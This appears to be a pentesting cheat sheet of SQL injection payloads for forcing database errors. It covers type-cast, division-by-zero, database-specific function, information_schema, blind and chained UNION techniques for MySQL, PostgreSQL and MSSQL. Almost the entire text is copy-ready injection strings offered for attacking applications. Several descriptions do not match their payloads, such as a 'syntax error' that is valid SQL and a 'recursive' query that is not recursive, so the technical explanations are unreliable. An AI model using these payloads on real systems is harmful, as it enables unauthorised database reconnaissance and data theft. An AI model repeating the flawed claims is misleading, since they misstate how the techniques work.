# Techniques to Force Errors from Databases for SQL Injection

Forcing errors in databases can help reveal valuable information about the underlying SQL queries, database structure, and sometimes even the data itself. Here are some advanced techniques to force errors from various databases:

### 1. Syntax Errors

**Classic Syntax Error**

*   Introduce a deliberate syntax error to elicit an error message.

    ```sql
    ' OR 1=1; -- 
    ```

**Unclosed Quotes**

*   Leave a quote unclosed to generate an error.

    ```sql
    ' OR 'a'='a
    ```

### 2. Type Conversion Errors

**Invalid Type Casting**

*   Cast a string to an integer to cause a type conversion error.

    ```sql
    ' UNION SELECT CAST('abc' AS SIGNED) --
    ```

### 3. Function-Based Errors

**Division by Zero**

*   Force a division by zero error.

    ```sql
    ' UNION SELECT 1/0 --
    ```

**Invalid Function Usage**

*   Use a function incorrectly to trigger an error.

    ```
    ' UNION SELECT EXP('abc') --
    ```

### 4. Subquery Errors

**Invalid Subquery**

*   Use a subquery in a way that causes an error.

    ```sql
    ' UNION SELECT (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) AS temp) --
    ```

### 5. Database-Specific Errors

**MySQL Errors**

*   Use invalid queries to trigger MySQL-specific errors.

    ```sql
    ' UNION SELECT GTID_SUBSET('abc', 'def') --
    ```

**PostgreSQL Errors**

*   Use invalid operations to cause PostgreSQL errors.

    ```sql
    ' UNION SELECT TO_NUMBER('abc', '999') --
    ```

**MSSQL Errors**

*   Use MSSQL-specific functions incorrectly to trigger errors.

    ```sql
    ' UNION SELECT CONVERT(INT, 'abc') --
    ```

### 6. Information Schema Queries

**Invalid Table Name**

*   Query the information schema with an invalid table name.

    {% code overflow="wrap" %}
    ```sql
    ' UNION SELECT table_name FROM information_schema.tables WHERE table_name = 'non_existent_table' --
    ```
    {% endcode %}

### 7. Blind SQL Injection Errors

**Deliberate False Condition**

*   Use a false condition to force an error indirectly.

    {% code overflow="wrap" %}
    ```sql
    ' AND 1=(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='non_existent_database') --
    ```
    {% endcode %}

### 8. Advanced Error Techniques

**Recursive Queries**

*   Use recursive queries to force errors.

    {% code overflow="wrap" fullWidth="true" %}
    ```sql
    ' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --
    ```
    {% endcode %}

**Invalid Hexadecimal Values**

*   Use invalid hexadecimal values to trigger errors.

    ```sql
    ' UNION SELECT 0xZZ --
    ```

### 9. Combining Techniques

**Chained Error Forcing**

*   Combine multiple error-forcing techniques for more robust results.

    {% code overflow="wrap" %}
    ```sql
    ' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO_NUMBER('abc', '999') --
    ```
    {% endcode %}
